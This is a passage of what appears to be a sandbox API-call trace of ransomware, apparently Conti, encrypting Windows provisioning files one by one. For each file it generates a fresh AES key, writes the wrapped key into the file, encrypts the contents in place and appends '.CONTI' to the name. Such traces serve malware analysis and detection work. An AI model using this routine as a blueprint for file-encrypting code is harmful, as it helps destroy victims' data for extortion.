	[0107.394] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{8fb7d64e-70fc-4f9d-89ee-d486817534df}\\customizations.xml", lpString2=".CONTI" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{8fb7d64e-70fc-4f9d-89ee-d486817534df}\\customizations.xml.CONTI") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{8fb7d64e-70fc-4f9d-89ee-d486817534df}\\customizations.xml.CONTI"
	[0107.394] MoveFileW (lpExistingFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{8fb7d64e-70fc-4f9d-89ee-d486817534df}\\customizations.xml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{8fb7d64e-70fc-4f9d-89ee-d486817534df}\\customizations.xml"), lpNewFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{8fb7d64e-70fc-4f9d-89ee-d486817534df}\\customizations.xml.CONTI" (normalized: "c:\\programdata\\microsoft\\provisioning\\{8fb7d64e-70fc-4f9d-89ee-d486817534df}\\customizations.xml.conti")) returned 1
	[0107.394] GetProcessHeap () returned 0x1720000
	[0107.394] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x17d6408 | out: hHeap=0x1720000) returned 1
	[0107.394] CryptDestroyKey (hKey=0x17c80f0) returned 1
	[0107.394] GetProcessHeap () returned 0x1720000
	[0107.394] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x65118b0 | out: hHeap=0x1720000) returned 1
	[0107.394] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x447fec0, lpCompletionKey=0x447fec4, lpOverlapped=0x447fed0, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x447fec0, lpCompletionKey=0x447fec4, lpOverlapped=0x447fed0) returned 1
	[0108.045] CryptGenKey (in: hProv=0x1761368, Algid=0x6610, dwFlags=0x1, phKey=0x6513090 | out: phKey=0x6513090*=0x17c83b0) returned 1
	[0108.045] CryptExportKey (in: hKey=0x17c83b0, hExpKey=0x175ddb0, dwBlobType=0x1, dwFlags=0x0, pbData=0x6513094, pdwDataLen=0x447fe94 | out: pbData=0x6513094*, pdwDataLen=0x447fe94*=0x20c) returned 1
	[0108.052] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\129__Connections_Cellular_Elisa (Finland)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\129__connections_cellular_elisa (finland)_i0$(__mvid)@wap.provxml")) returned 0x20
	[0108.052] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\129__Connections_Cellular_Elisa (Finland)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\129__connections_cellular_elisa (finland)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384
	[0108.052] GetLastError () returned 0x0
	[0108.052] GetFileSizeEx (in: hFile=0x384, lpFileSize=0x447fe40 | out: lpFileSize=0x447fe40*=701) returned 1
	[0108.052] SetFilePointer (in: hFile=0x384, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x2bd
	[0108.052] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x227, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0108.052] SetEndOfFile (hFile=0x384) returned 1
	[0108.052] SetFilePointer (in: hFile=0x384, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0108.052] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0108.052] WriteFile (in: hFile=0x384, lpBuffer=0x6513094*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x447fe4c, lpOverlapped=0x0 | out: lpBuffer=0x6513094*, lpNumberOfBytesWritten=0x447fe4c*=0x20c, lpOverlapped=0x0) returned 1
	[0108.054] SetFilePointer (in: hFile=0x384, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0108.054] ReadFile (in: hFile=0x384, lpBuffer=0xbbf0000, nNumberOfBytesToRead=0x2bd, lpNumberOfBytesRead=0x447fe6c, lpOverlapped=0x0 | out: lpBuffer=0xbbf0000*, lpNumberOfBytesRead=0x447fe6c*=0x2bd, lpOverlapped=0x0) returned 1
	[0108.054] CryptEncrypt (in: hKey=0x17c83b0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xbbf0000*, pdwDataLen=0x447fe64*=0x2bd, dwBufLen=0x500000 | out: pbData=0xbbf0000*, pdwDataLen=0x447fe64*=0x2c0) returned 1
	[0108.054] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0108.054] WriteFile (in: hFile=0x384, lpBuffer=0xbbf0000*, nNumberOfBytesToWrite=0x2c0, lpNumberOfBytesWritten=0x447fe80, lpOverlapped=0x0 | out: lpBuffer=0xbbf0000*, lpNumberOfBytesWritten=0x447fe80*=0x2c0, lpOverlapped=0x0) returned 1
	[0108.054] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0108.054] WriteFile (in: hFile=0x384, lpBuffer=0x6513088*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x447fe98, lpOverlapped=0x0 | out: lpBuffer=0x6513088*, lpNumberOfBytesWritten=0x447fe98*=0x8, lpOverlapped=0x0) returned 1
	[0108.055] SetFilePointer (in: hFile=0x384, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0108.055] CloseHandle (hObject=0x384) returned 1
	[0108.055] GetProcessHeap () returned 0x1720000
	[0108.055] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x17d6408
	[0108.055] lstrcpyW (in: lpString1=0x17d6408, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\129__Connections_Cellular_Elisa (Finland)_i0$(__MVID)@WAP.provxml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\129__Connections_Cellular_Elisa (Finland)_i0$(__MVID)@WAP.provxml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\129__Connections_Cellular_Elisa (Finland)_i0$(__MVID)@WAP.provxml"
	[0108.055] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\129__Connections_Cellular_Elisa (Finland)_i0$(__MVID)@WAP.provxml", lpString2=".CONTI" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\129__Connections_Cellular_Elisa (Finland)_i0$(__MVID)@WAP.provxml.CONTI") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\129__Connections_Cellular_Elisa (Finland)_i0$(__MVID)@WAP.provxml.CONTI"
	[0108.055] MoveFileW (lpExistingFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\129__Connections_Cellular_Elisa (Finland)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\129__connections_cellular_elisa (finland)_i0$(__mvid)@wap.provxml"), lpNewFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\129__Connections_Cellular_Elisa (Finland)_i0$(__MVID)@WAP.provxml.CONTI" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\129__connections_cellular_elisa (finland)_i0$(__mvid)@wap.provxml.conti")) returned 1
	[0108.055] GetProcessHeap () returned 0x1720000
	[0108.056] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x17d6408 | out: hHeap=0x1720000) returned 1
	[0108.056] CryptDestroyKey (hKey=0x17c83b0) returned 1
	[0108.056] GetProcessHeap () returned 0x1720000
	[0108.056] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x17c8798 | out: hHeap=0x1720000) returned 1
	[0108.056] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x447fec0, lpCompletionKey=0x447fec4, lpOverlapped=0x447fed0, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x447fec0, lpCompletionKey=0x447fec4, lpOverlapped=0x447fed0) returned 1
	[0108.384] CryptGenKey (in: hProv=0x1761368, Algid=0x6610, dwFlags=0x1, phKey=0x17d3fa8 | out: phKey=0x17d3fa8*=0x17c7bf0) returned 1
	[0108.644] CryptExportKey (in: hKey=0x17c7bf0, hExpKey=0x175ddb0, dwBlobType=0x1, dwFlags=0x0, pbData=0x17d3fac, pdwDataLen=0x447fe94 | out: pbData=0x17d3fac*, pdwDataLen=0x447fe94*=0x20c) returned 1
	[0108.645] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\191__Connections_Cellular_Vodafone Iceland (Iceland)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\191__connections_cellular_vodafone iceland (iceland)_i0$(__mvid)@wap.provxml")) returned 0x20
	[0109.310] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\191__Connections_Cellular_Vodafone Iceland (Iceland)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\191__connections_cellular_vodafone iceland (iceland)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c
	[0109.354] GetLastError () returned 0x0
	[0109.354] GetFileSizeEx (in: hFile=0x39c, lpFileSize=0x447fe40 | out: lpFileSize=0x447fe40*=726) returned 1
	[0109.366] SetFilePointer (in: hFile=0x39c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x2d6
	[0109.367] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x22e, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0109.380] SetEndOfFile (hFile=0x39c) returned 1
	[0109.380] SetFilePointer (in: hFile=0x39c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0109.380] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0109.380] WriteFile (in: hFile=0x39c, lpBuffer=0x17d3fac*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x447fe4c, lpOverlapped=0x0 | out: lpBuffer=0x17d3fac*, lpNumberOfBytesWritten=0x447fe4c*=0x20c, lpOverlapped=0x0) returned 1
	[0109.381] SetFilePointer (in: hFile=0x39c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0109.382] ReadFile (in: hFile=0x39c, lpBuffer=0xbbf0000, nNumberOfBytesToRead=0x2d6, lpNumberOfBytesRead=0x447fe6c, lpOverlapped=0x0 | out: lpBuffer=0xbbf0000*, lpNumberOfBytesRead=0x447fe6c*=0x2d6, lpOverlapped=0x0) returned 1
	[0109.382] CryptEncrypt (in: hKey=0x17c7bf0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xbbf0000*, pdwDataLen=0x447fe64*=0x2d6, dwBufLen=0x500000 | out: pbData=0xbbf0000*, pdwDataLen=0x447fe64*=0x2e0) returned 1
	[0109.382] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0109.382] WriteFile (in: hFile=0x39c, lpBuffer=0xbbf0000*, nNumberOfBytesToWrite=0x2e0, lpNumberOfBytesWritten=0x447fe80, lpOverlapped=0x0 | out: lpBuffer=0xbbf0000*, lpNumberOfBytesWritten=0x447fe80*=0x2e0, lpOverlapped=0x0) returned 1
	[0109.382] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0109.382] WriteFile (in: hFile=0x39c, lpBuffer=0x17d3fa0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x447fe98, lpOverlapped=0x0 | out: lpBuffer=0x17d3fa0*, lpNumberOfBytesWritten=0x447fe98*=0x8, lpOverlapped=0x0) returned 1
	[0109.382] SetFilePointer (in: hFile=0x39c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0109.382] CloseHandle (hObject=0x39c) returned 1
	[0109.382] GetProcessHeap () returned 0x1720000
	[0109.382] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x17fee28
	[0109.383] lstrcpyW (in: lpString1=0x17fee28, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\191__Connections_Cellular_Vodafone Iceland (Iceland)_i0$(__MVID)@WAP.provxml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\191__Connections_Cellular_Vodafone Iceland (Iceland)_i0$(__MVID)@WAP.provxml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\191__Connections_Cellular_Vodafone Iceland (Iceland)_i0$(__MVID)@WAP.provxml"
	[0109.383] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\191__Connections_Cellular_Vodafone Iceland (Iceland)_i0$(__MVID)@WAP.provxml", lpString2=".CONTI" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\191__Connections_Cellular_Vodafone Iceland (Iceland)_i0$(__MVID)@WAP.provxml.CONTI") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\191__Connections_Cellular_Vodafone Iceland (Iceland)_i0$(__MVID)@WAP.provxml.CONTI"
	[0109.383] MoveFileW (lpExistingFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\191__Connections_Cellular_Vodafone Iceland (Iceland)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\191__connections_cellular_vodafone iceland (iceland)_i0$(__mvid)@wap.provxml"), lpNewFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\191__Connections_Cellular_Vodafone Iceland (Iceland)_i0$(__MVID)@WAP.provxml.CONTI" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\191__connections_cellular_vodafone iceland (iceland)_i0$(__mvid)@wap.provxml.conti")) returned 1
	[0109.385] GetProcessHeap () returned 0x1720000
	[0109.385] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x17fee28 | out: hHeap=0x1720000) returned 1
	[0109.385] CryptDestroyKey (hKey=0x17c7bf0) returned 1
	[0109.385] GetProcessHeap () returned 0x1720000
	[0109.385] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x17d1518 | out: hHeap=0x1720000) returned 1
	[0109.385] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x447fec0, lpCompletionKey=0x447fec4, lpOverlapped=0x447fed0, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x447fec0, lpCompletionKey=0x447fec4, lpOverlapped=0x447fed0) returned 1
	[0109.385] CryptGenKey (in: hProv=0x1761368, Algid=0x6610, dwFlags=0x1, phKey=0x65139b0 | out: phKey=0x65139b0*=0x6b7f638) returned 1
	[0109.385] CryptExportKey (in: hKey=0x6b7f638, hExpKey=0x175ddb0, dwBlobType=0x1, dwFlags=0x0, pbData=0x65139b4, pdwDataLen=0x447fe94 | out: pbData=0x65139b4*, pdwDataLen=0x447fe94*=0x20c) returned 1
	[0109.386] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\228__Connections_Cellular_Zain (Jordan)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\228__connections_cellular_zain (jordan)_i0$(__mvid)@wap.provxml")) returned 0x20
	[0109.387] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\228__Connections_Cellular_Zain (Jordan)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\228__connections_cellular_zain (jordan)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c
	[0109.387] GetLastError () returned 0x0
	[0109.387] GetFileSizeEx (in: hFile=0x39c, lpFileSize=0x447fe40 | out: lpFileSize=0x447fe40*=712) returned 1
	[0109.387] SetFilePointer (in: hFile=0x39c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x2c8
	[0109.387] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x22c, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0109.387] SetEndOfFile (hFile=0x39c) returned 1
	[0109.387] SetFilePointer (in: hFile=0x39c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0109.387] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0109.388] WriteFile (in: hFile=0x39c, lpBuffer=0x65139b4*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x447fe4c, lpOverlapped=0x0 | out: lpBuffer=0x65139b4*, lpNumberOfBytesWritten=0x447fe4c*=0x20c, lpOverlapped=0x0) returned 1
	[0109.389] SetFilePointer (in: hFile=0x39c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0109.389] ReadFile (in: hFile=0x39c, lpBuffer=0xbbf0000, nNumberOfBytesToRead=0x2c8, lpNumberOfBytesRead=0x447fe6c, lpOverlapped=0x0 | out: lpBuffer=0xbbf0000*, lpNumberOfBytesRead=0x447fe6c*=0x2c8, lpOverlapped=0x0) returned 1
	[0109.389] CryptEncrypt (in: hKey=0x6b7f638, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xbbf0000*, pdwDataLen=0x447fe64*=0x2c8, dwBufLen=0x500000 | out: pbData=0xbbf0000*, pdwDataLen=0x447fe64*=0x2d0) returned 1
	[0109.389] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0109.389] WriteFile (in: hFile=0x39c, lpBuffer=0xbbf0000*, nNumberOfBytesToWrite=0x2d0, lpNumberOfBytesWritten=0x447fe80, lpOverlapped=0x0 | out: lpBuffer=0xbbf0000*, lpNumberOfBytesWritten=0x447fe80*=0x2d0, lpOverlapped=0x0) returned 1
	[0109.390] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0109.390] WriteFile (in: hFile=0x39c, lpBuffer=0x65139a8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x447fe98, lpOverlapped=0x0 | out: lpBuffer=0x65139a8*, lpNumberOfBytesWritten=0x447fe98*=0x8, lpOverlapped=0x0) returned 1
	[0109.390] SetFilePointer (in: hFile=0x39c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0109.390] CloseHandle (hObject=0x39c) returned 1
	[0109.390] GetProcessHeap () returned 0x1720000
	[0109.390] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x17fee28
	[0109.390] lstrcpyW (in: lpString1=0x17fee28, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\228__Connections_Cellular_Zain (Jordan)_i0$(__MVID)@WAP.provxml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\228__Connections_Cellular_Zain (Jordan)_i0$(__MVID)@WAP.provxml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\228__Connections_Cellular_Zain (Jordan)_i0$(__MVID)@WAP.provxml"
	[0109.390] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\228__Connections_Cellular_Zain (Jordan)_i0$(__MVID)@WAP.provxml", lpString2=".CONTI" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\228__Connections_Cellular_Zain (Jordan)_i0$(__MVID)@WAP.provxml.CONTI") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\228__Connections_Cellular_Zain (Jordan)_i0$(__MVID)@WAP.provxml.CONTI"
	[0109.390] MoveFileW (lpExistingFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\228__Connections_Cellular_Zain (Jordan)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\228__connections_cellular_zain (jordan)_i0$(__mvid)@wap.provxml"), lpNewFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\228__Connections_Cellular_Zain (Jordan)_i0$(__MVID)@WAP.provxml.CONTI" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\228__connections_cellular_zain (jordan)_i0$(__mvid)@wap.provxml.conti")) returned 1
	[0109.391] GetProcessHeap () returned 0x1720000
	[0109.391] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x17fee28 | out: hHeap=0x1720000) returned 1
	[0109.391] CryptDestroyKey (hKey=0x6b7f638) returned 1
	[0109.391] GetProcessHeap () returned 0x1720000
	[0109.391] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x6588a98 | out: hHeap=0x1720000) returned 1
	[0109.391] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x447fec0, lpCompletionKey=0x447fec4, lpOverlapped=0x447fed0, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x447fec0, lpCompletionKey=0x447fec4, lpOverlapped=0x447fed0) returned 1
	[0109.391] CryptGenKey (in: hProv=0x1761368, Algid=0x6610, dwFlags=0x1, phKey=0x6514bf0 | out: phKey=0x6514bf0*=0x6b7f4f8) returned 1
	[0109.391] CryptExportKey (in: hKey=0x6b7f4f8, hExpKey=0x175ddb0, dwBlobType=0x1, dwFlags=0x0, pbData=0x6514bf4, pdwDataLen=0x447fe94 | out: pbData=0x6514bf4*, pdwDataLen=0x447fe94*=0x20c) returned 1
	[0109.392] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\229__Connections_Cellular_Zain (Jordan)_i1$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\229__connections_cellular_zain (jordan)_i1$(__mvid)@wap.provxml")) returned 0x20
	[0109.392] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\229__Connections_Cellular_Zain (Jordan)_i1$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\229__connections_cellular_zain (jordan)_i1$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c
	[0109.392] GetLastError () returned 0x0
	[0109.392] GetFileSizeEx (in: hFile=0x39c, lpFileSize=0x447fe40 | out: lpFileSize=0x447fe40*=768) returned 1
	[0109.392] SetFilePointer (in: hFile=0x39c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x300
	[0109.392] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x224, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0109.392] SetEndOfFile (hFile=0x39c) returned 1
	[0109.392] SetFilePointer (in: hFile=0x39c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0109.392] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0109.392] WriteFile (in: hFile=0x39c, lpBuffer=0x6514bf4*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x447fe4c, lpOverlapped=0x0 | out: lpBuffer=0x6514bf4*, lpNumberOfBytesWritten=0x447fe4c*=0x20c, lpOverlapped=0x0) returned 1
	[0109.394] SetFilePointer (in: hFile=0x39c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0109.394] ReadFile (in: hFile=0x39c, lpBuffer=0xbbf0000, nNumberOfBytesToRead=0x300, lpNumberOfBytesRead=0x447fe6c, lpOverlapped=0x0 | out: lpBuffer=0xbbf0000*, lpNumberOfBytesRead=0x447fe6c*=0x300, lpOverlapped=0x0) returned 1
